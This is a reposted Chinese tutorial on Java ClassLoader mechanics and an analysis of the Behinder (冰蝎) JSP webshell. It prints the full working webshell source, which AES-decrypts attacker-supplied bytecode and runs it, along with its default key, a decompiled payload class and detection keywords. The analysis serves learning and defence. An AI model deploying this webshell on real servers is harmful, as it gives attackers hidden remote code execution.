JAVA安全(4)——ClassLoader机制与冰蝎Webshell分析
lipiwang 2024-10-27 13:28 7 浏览 0 评论
告别脚本小子系列丨JAVA安全(4)——ClassLoader机制与冰蝎Webshell分析
前言
告别脚本小子系列是本公众号的一个集代码审计、安全研究和漏洞复现的专题,意在帮助大家更深入的理解漏洞原理和掌握漏洞挖掘的思路和技巧。系列课程包含多篇文章,往期课程和后续规划目录如下。如果你对下面的某些内容感兴趣,可以点击关注。
目录
1. Java本地调试和远程调试技巧
2. Java反编译技巧
3. Java安全基础概念之反射与ClassLoader
4. ClassLoader机制与冰蝎Webshell分析
5. Java反序列化基础
6. CommonCollections利用链分析介绍上
7. CommonCollections利用链分析介绍下
8. JNDI注入原理与fastjson漏洞实践
9. Weblogic反序列化漏洞分析
10. Java命令回显技术研究
11. Java内存马技术研究
12. RASP技术研究
13. 基于CodeQL的自动化代码审计技术研究上
14. 基于CodeQL的自动化代码审计技术研究下
……
0x01 概念
从之前的课程中我们已经知道Java代码运行的过程是从字节码到JVM,由JVM来最终对JAVA代码进行执行,整个过程如图1.1所示。
整个JAVA代码执行过程中很关键的一步是从JAVA字节码到JVM虚拟机,这个过程就称为类加载过程,简称ClassLoader。任何一个JAVA类必须经过ClassLoader加载之后,才能被调用和执行。
对于一般的JAVA开发人员来说并不太关心ClassLoader类加载机制,但是ClassLoader是学习java安全中的一个极重要的概念,ClassLoader为攻击者提供了一种执行任意java代码的途径,有点类似于PHP中的eval。当然ClassLoader的用法要比eval复杂很多。
0x02 ClassLoader介绍
JDK自带的ClassLoader有三个,分别是BootstrapClassLoader、ExtClassLoader和AppClassLoader。查看类加载器可以通过Class对象的getClassLoader函数实现。
三者之间存在父子关系,BootstrapClassLoader加载器是ExtClassLoader的父加载器,ExtClassLoader加载器是AppClassLoader加载器的父加载器。
2.1 BootstrapClassLoader
BootstrapClassLoader:引导类加载器,属于最顶层的类加载器,主要用于加载java的核心库,包括rt.jar、resources.jar等。引导类加载器加载的都是jdk原生携带的核心库,通过C/C++语言实现,引导类加载器的实现逻辑是JVM的一部分,不能通过java代码控制引导类加载器的行为。
一般而言,以java、javax和sun开头的类对应的类加载器是BootstrapClassLoader。例如我们经常说的JNDI注入时用到的ldap协议对应的实现类javax.naming.ldap.LdapName,查看此类对应的类加载器,如图2.1所示。这里需要说明的是,如果获取到的类加载器为null,则表示类加载器是引导类加载器BootstrapClassLoader。
究竟有哪些类的加载器是属于引导类加载器呢?有一种通过查看全局属性的方式可以获取引导类加载器加载的类对应的路径,如图2.2所示。
System.getProperty("sun.boot.class.path")
笔者曾经有一个想法是这样的,已知RMI协议在客户端和服务端之间是通过序列化和反序列化的方式来传递数据的,网上的公开资料也可以查到关于RMI反序列化漏洞的利用方式,参考链接(https://xz.aliyun.com/t/6660)。但是这种反序列化利用方式有一个很大的前提是必须绑定一个函数,接受的参数类型是Object,这样就大大增加了RMI反序列化利用的局限性。有没有一种可能是在RMI协议协商过程中通过修改交互的序列化内容达到无限制的反序列化利用?
相关的过程比较复杂,如果有机会,可以再开一篇文章详细分析整个过程。这里只抛出结论,那就是不可以。我们要修改RMI协议交互过程中序列化数据包(把正常的序列化数据包,替换为恶意的序列化数据),就必须要修改RMI协议的实现类,但是RMI的实现类和ldap一样,对应的类加载器是引导类加载器BootstrapClassLoader。
BootstrapClassLoader只能加载java、javax和sun开头的类,而目前为止还没有任何一条反序列化利用链是只用到了java、javax和sun开头的类,我们修改的RMI实现类中引入的其他类(比如反序列化常用的CommonCollections类)都不会生效。可能有的读者会觉得我们要实现RMI协议又不是一定要用JAVA远程的类,只要知道了协议原理,我们完全可以用python模拟实现RMI客户端,这样就可以实现发送恶意的序列化数据的效果。这样的想法确实客户端是实现了发送恶意序列化数据的效果,但是服务端接收到数据进行反序列化的时候是一定用原生代码的,这时候引导类加载器就不会再加载恶意类了。
这应该是一个JAVA的安全机制问题,不允许任意修改引导类加载器加载的类,引导类加载器只能加载java、javax和sun开头的类。
2.2 ExtClassLoader
ExtClassLoader:扩展类加载器,一般属于JDK自带的一些非核心功能实现类。ExtClassLoader是由java代码实现的,可以被其他java程序调用。以类jdk.internal.dynalink.beans.BeansLinker为例来查看对应的加载器,如图2.3所示。
与引导类加载器类似,扩展类加载器加载的类路径也保存在系统属性中,可以直接通过查看对应属性的方式查看扩展类加载器加载的类路径。
System.getProperty("java.ext.dirs")
2.3 AppClassLoader
AppClassLoader:应用类加载器。应用类加载器是java应用中最常见的加载器,在java项目中自己编写的java类和引入的第三方类都由应用类加载器加载到JVM中。以类com.sun.deploy.uitoolkit.PluginUIToolKit类为例查看对应的加载器,如图2.5所示。
应用类加载器会加载当前应用classpath中的所有类,也可以通过读取系统属性值来查看应用类加载器对应的加载路径。
System.getProperty("java.class.path")
0x03 ClassLoader原理
如果是细心的小伙伴就会发现图2.6和图2.2中有部分类有重合,也就是说一个类既被引导类加载器加载,又被应用类加载器加载。那么这种被两个类都加载的类怎么算呢?以哪个类加载器为标准,还是会在内存加载两次?
3.1 双亲委派模型
要搞清楚这个问题,就要先学习ClassLoader的双亲委派机制。这里借用网上一张存在的图来说明,如图3.1所示。
以一句话来总结双亲委派模型就是“总是优先把加载类的任务交给父加载器”。例如,如果要加载一个类com.util.xxx,那么加载顺序应该是这样的:
1. 首先看自定义的加载器(如果没有自定义加载器,则直接到步骤2)中是否已经加载了类com.util.xxx,如果已经加载过,就直接返回,否则交给AppClassLoader。
2. 查看AppClassLoader是否已经加载了com.util.xxx,如果已经加载过,就直接返回,否则交给ExtClassLoader。
3. 查找ExtClassLoader是否已经加载了com.util.xxx,如果已经加载过,就直接返回,否则交给BootstrapClassLoader。
4.查找BootstrapClassLoader是否已经加载了com.util.xxx,如果已经加载过,就直接返回,否则从BootstrapClassLoader的加载路径中查找是否存在目标类。如果BootstrapClassLoader没有找到目标类,则交给ExtClassLoader。
5. 从ExtClassLoader的加载路径中查找是否存在目标类,如果ExtClassLoader没有找到目标类,则交给AppClassLoader。
6. 从AppClassLoader的加载路径中查找是否存在目标类,如果AppClassLoader没有找到目标类,则交给自定义ClassLoader。
7. 从自定义ClassLoader对应的路径查找是否存在目标类,如果自定义ClassLoader没有找到目标类,则抛出异常。
从上面的过程可以看出,整个类的加载过程中总是优先使用父类加载器进行加载,如果父类加载器找到了目标类,就直接返回结果。那么我们再来回答一下本小节开头提出的问题,如果AppClassLoader加载器和BootstrapClassLoader加载器都可以加载某个类,JVM会优先选择通过BootstrapClassLoader加载器来加载目标类,内存中也不会保留两份目标类的加载对象。
3.2 源码解析
所有的ClassLoader的实现类都必须继承java.lang.ClassLoader类,这个类是加载器的共同基类。这里有一点需要注意的是java.lang.ClassLoader类是抽象类,所以不能被直接使用,但是这个类里面没有抽象方法,所以只要是继承自java.lang.ClassLoader类的类可以不覆盖重写任意方法。如图3.2所示。
在ClassLoader类中,有三个方法对于理解类加载器原理特别重要。分别是loadClass、findClass和defineClass。
1) loadClass方法
loadClass方法的作用是通过指定的类全限定名加载类。从字面意思来理解就是实现类加载器的功能。从loadClass的源码中也能很清晰地看出双亲委派模型的实现逻辑,如图3.3所示。
关于loadClass方法中的关键步骤笔者已经标注在上面的图中,可以看出java.lang.ClassLoader类的loadClass类就是实现双亲委派模型的关键步骤。如果说父加载器并没有返回目标类的信息,则调用findClass方法继续查找目标类。这里说明一下,此函数末尾有一个resolveClass函数,实际上此函数并没有什么实际用处,因为默认情况下resolve为false,不会执行对应的代码。
2) findClass方法
findClass方法的作用也是基于类的全限定名来查找对应的目标类,但是查阅findClass的源码却发现JDK并没有对此方法进行实现,java.lang.ClassLoader类中的findClass方法定义如图3.4所示。
可能有的读者就觉得很疑惑,为什么会有一个留空的方法存在?而且这个方法还是最重要的方法之一?其实这个方法是JDK故意留下给自定义ClassLoader继承并覆盖重写的方法,如果需要实现自定义ClassLoader,最标准的做法就是继承java.lang.ClassLoader类并重写findClass方法(为什么不建议重新loadClass方法,因为这样就会破坏双亲委派模型)。
如果要看findClass的标准实现方式,就只能通过java.lang.ClassLoader类的继承类来查看。笔者这里选择一个典型的继承类URLClassLoader来了解一般findClass方法的实现,如图3.5所示。
从这里我们可以看出,findClass最终会调用defineClass来把目标字节码加载到JVM中。
3) defineClass方法
defineClass是最终真正把字节码转化为可调用执行的类的方法,defineClass返回的是类对应的Class对象(关于Class对象的使用方法,请参考第三课中反射的相关知识)。defineClass的实现方式如图3.6所示。
defineClass的具体实现逻辑比较复杂,这涉及到很多较低层的知识,我们并不关心具体怎么实现的。但是有一点必须要清楚的是,defineClass是真正把字节码转化为Class对象的方法。
0x04 冰蝎Webshell分析
冰蝎是目前最流行的一种webshell,由于对请求包和相应包都经过了AES加密,所以监测难度极大,也深受攻击者喜爱。从网上下载最典型的冰蝎webshell,格式化之后如下所示。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
1) 第一部分是导入需要的包
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
java.util.* ,这个是java默认的基础包。主要提供了需要用到的HashMap这些类。
javax.crypto.*, 这主要提供了用于AES加密和解密需要的包
javax.crypto.spec.*, 主要用于提供AES解密需要的密钥
2) 自定义ClassLoader,执行指定的class字节码
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);//调用父类的defineClass方法
}
}
%>
在3.2章节中我们提到过自定义ClassLoader的标准写法是重写findClass方法,但是冰蝎的作者是直接重写的defineClass方法,这样写从原理上来说是完全可以的,但是这样写会破坏ClassLoader的双亲委派模型(对于冰蝎来说,这完全不重要,没有双亲委派模型反而可以没有约束的加载自己的字节码)。
默认ClassLoader中的defineClass函数是protected的,必须要重写才能直接调用。冰蝎自定义ClassLoader最核心就是把definedClass方法重写为方法g。
3) 解密用户传入的数据
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k); //把密钥保存在session中
Cipher c=Cipher.getInstance("AES");//引入AES加解密算法
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
k就是冰蝎的连接密钥,也就是数据包中的加密密钥。
1. 把密钥保存在session中,主要是为了方便后面动态传入的class字节码执行的时候也能获取到对应的密钥。
2. 冰蝎AES加密/解密的密钥也就是连接的密钥。所以新版的冰蝎已经没有密钥协商的过程了。
4) 解密并执行传入的字节码
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
这段代码还是不好看,继续格式化,方便阅读。
String d1 = request.getReader().readLine(); //获取传递过来的POST请求体
byte[] d2 = new sun.misc.BASE64Decoder().decodeBuffer(d1); //对请求体进行base64解码
byte[] d3 = c.doFinal(d2); //使用上一步的密钥对请求体进行AES解密,获取字节码
new U(this.getClass().getClassLoader()).g(d3).newInstance().equals(pageContext); //通过自定义的ClassLoader对字节码进行执行
其他步骤都很好理解,对最后一步进行说明
1. newInstance()方法主要是调用字节码类的无参构造函数创建对应类的对象,详细可以参考java反射的概念。
2. 通过生成的类对象调用equals方法,并且传参为pageContext(pageContext是jsp中的页面输出类对象)
5) 传输字节流分析
上面已经说清楚了冰蝎执行的整个过程,但是为了更加清晰的理解冰蝎传递的字节码究竟是什么样的,我们抓一个包,解密之后来看字节码的明文数据。
把解密之后的变量d3保存到文件req.class。
重放任意一个冰蝎的数据包,可以看到req.class文件已经生成了。反编译该class文件,对应的内容大致如下。
……
public class Echo {
public static String content;
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
public Echo() {
}
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
this.Session = page.getSession();
this.Response = page.getResponse();
this.Request = page.getRequest();
page.getResponse().setCharacterEncoding("UTF-8");
HashMap result = new HashMap();
boolean var12 = false;
...
try {
so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
page.getOut().clear();
} catch (Exception var15) {
var15.printStackTrace();
}
return true;
}
...
}
这段代码最核心的是恶意的equals函数,从中可以看出系统恶意的代码流程。
6) equals方法的反思
equals方法一般用于对两个类进行比较,熟悉java开发的人对这个方法应该不会陌生。但是在冰蝎的逻辑里面,确实把equals方法作为恶意代码的执行方法,有没有其他的方法可以替代equals呢?
通过反射的newInstance方法创建的对象属于Object, Object类支持的方法如图4.2所示。从列表中可以看出Object类中只有equals方法支持传入Object类型的参数,所以默认情况下就只能用equals方法,没有其他方法可以替代。
Object类虽然只有equals方法接受Object类型参数,但是其他还有很多类是支持Objectl类型参数的。但是这样就必须要对反射生成的对象进行强制类型转换(向下转型)。
7) 冰蝎关键字提取
对于冰蝎的webshell来说,有一些关键字是实现冰蝎所必须的。总结如下表所示。
关键字 | 是否必须 | 原因 |
ClassLoader | 否 | webshell一定要继承ClassLoader,但是也可以继承ClassLoader的子类,子类不一定有这个特征 |
defineClass | 是 | 要把字节码转化为Class对象,一定要使用这个方法 |
newInstance | 是 | 通过Class对象生成Object对象,反射创建对象必须使用的方法 |
equals | 否 | 在上面已经分析过了,也可以调用其他接收Object类型参数的方法,只是需要类型转换 |
request | 是 | 接收外部传输的数据一定需要 |
当然这里列举的一些关键字只是从webshell的实现逻辑来分析,不考虑一般绕过技巧,不能直接作为WAF防御的依据,例如:
1. 还有一些关键字class、return、extends这些也是必须的;
可以通过ScriptEngine来隐藏上面的关键字;
2. defineClass也可以通过反射的方式实现,不是必须出现此关键字;
针对如何对冰蝎等webshell进行检测和防护绕过,后续会输出专项文章进行分析,大家可以持续关注。
参考链接
https://blog.csdn.net/briblue/article/details/54973413
https://xz.aliyun.com/t/6660
相关阅读
告别脚本小子系列丨JAVA安全(1)——JAVA本地调试和远程调试技巧
告别脚本小子系列丨JAVA安全(2)——JAVA反编译技巧
告别脚本小子系列丨JAVA安全(3)——JAVA反射机制
原文链接:https://mp.weixin.qq.com/s?__biz=MzkzNjMxNDM0Mg==&mid=2247483971&idx=1&sn=13bc478b9bad8c40279f4a2b22c7e29e&chksm=c2a1d6caf5d65fdc4c76043ba0650ca947722c69bfd4bca69a4ef35d3fb318b5cf26fa557c6d&token=201425388&lang=zh_CN#rd
相关推荐
- 《每日电讯报》研发数字工具,教你更有效率地报道新闻
-
为鼓励新闻编辑部持续创新,《每日电讯报》正在尝试有战略地研发数字工具。网站的数字媒体主任马尔科姆o科尔斯(MalcolmColes)表示,《每日电讯报》正试图去“创建一些可持续资产”,以便于让记者们...
- html5学得好不好,看掌握多少标签
-
html5你了解了多少?如果你还是入门阶段的话,或者还是一知半解的话,那么我们专门为你们收集的html5常用的标签大全对你就很有帮助了,你需要了解了html5有哪些标签你才能够更好的。驾驭html5...
- 前端分享-少年了解过iframe么(我想了解少年)
-
iframe就像是HTML的「内嵌画布」,允许在页面中加载独立网页,如同在画布上叠加另一幅动态画卷。核心特性包括:独立上下文:每个iframe都拥有独立的DOM/CSS/JS环境(类似浏...
- 做SEO要知道什么是AJAX(人能看到但搜索引擎看不到的内容)
-
一个明显的,人能看到但搜索引擎不能看到的内容是AJAX。那么什么是AJAX呢?其实,了解过的基本上也都清楚,AJAX不是新的编程语言,而是一种使用现有标准的新方法。AJAX最大的优点是在不重新加...
- 介绍最前沿的人工智能创新,‘无反向传播’神经网络训练方法?
-
图像由GoogleImageFX生成前言:本文整理自NoProp原始论文与实践代码,并结合多个公开实现细节进行了全流程复现。对神经网络训练机制的探索仍在不断演进,如果你也在研究反向传播之...
- 说说我们对HTML6的期许(对html的看法)
-
HTML5概述HTML5是HTML语言最受欢迎的版本之一,它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了article,section,header这样的标签来帮助开发者更好...
- 浏览器中在线预览pdf文件,pdf.mjs插件实现web预览pdf
-
背景:本来只是淘宝上卖卖袜子,想着扩展一下业务,准备做同名“来家居”海外袜子馆外贸项目,碰到pdf在线预览的需求,就找了pdf.js插件进行实践后把此方法记录下来,可以通过多种方法来实现,每种方法都有...
- SVG 在前端的7种使用方法,你还知道哪几种?
-
本文简介点赞+关注+收藏=学会了技术一直在演变,在网页中使用SVG的方法也层出不穷。每个时期都有对应的最优解。所以我打算把我知道的7种SVG的使用方法列举出来,有备无患~如果你还...
- HTML5常用标签大全(html5em标签)
-
HTML前端开发最终取决于掌握标签的多少HTML大概有七八百个标签楼主这里给大家总结了下HTML常用标签标签描述<!--...-->定义注释。<!DOCTYPE>定义文档类型...
- "伪君子Snoop Dogg!"... WHAT?| MetroDaily 24/7
-
TUE.01-新作品-虽说年纪大了会有点糊涂,但是最近SnoopDogg的这波操作实在是让粉丝们有点迷,甚至有人表示没想到他是这样的"伪君子"......而这一切都源于他近日在IG上Po出的一...
- 莎夏·班克斯盼望表哥Snoop Dogg为其作出场曲
-
NXT女子冠军莎夏·班克斯(SashaBanks)近日接受了迈阿密先驱报采访,访谈纪要如下:关于她出众的形象:“我一向喜欢与众不同。为了能让人眼前一亮,我的装束总是非常前卫、非常抢眼,这样才能让观众...
- 喜欢Snoop!全球第一间「史努比博物馆」海外分馆在东京!
-
1950年起,由美國漫畫家CharlesM.Schulz創作的作品《Snoopy》史努比,其鮮明的可愛角色與幽默的劇情內容,至今仍成為許多大朋友與小朋友心中的最愛。為了紀念作者所設立的全球首...
- Vetements 推出 Snoop Dogg 肖像「天价」T-Shirt
-
Vetements的CEOGuramGvasalia早前才透露品牌经营策略的秘密–Vetements如何成为人人热议的话题品牌。但似乎他仍有更多需要解释的东西–这个法国奢侈品牌最新...
- 狗爷Snoop Dogg的《I Wanna Thank Me》巡回演唱会旧金山站
-
西海岸匪帮说唱歌手SnoopDogg在《IWannaThankMe》巡回演唱会旧金山站表演(图片来自ICphoto)西海岸匪帮说唱歌手SnoopDogg(图片来自ICphoto)西海...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- maven镜像 (69)
- undefined reference to (60)
- zip格式 (63)
- oracle over (62)
- date_format函数用法 (67)
- 在线代理服务器 (60)
- shell 字符串比较 (74)
- x509证书 (61)
- localhost (65)
- java.awt.headless (66)
- syn_sent (64)
- settings.xml (59)
- 弹出窗口 (56)
- applicationcontextaware (72)
- my.cnf (73)
- httpsession (62)
- pkcs7 (62)
- session cookie (63)
- java 生成uuid (58)
- could not initialize class (58)
- beanpropertyrowmapper (58)
- word空格下划线不显示 (73)
- jar文件 (60)
- jsp内置对象 (58)
- makefile编写规则 (58)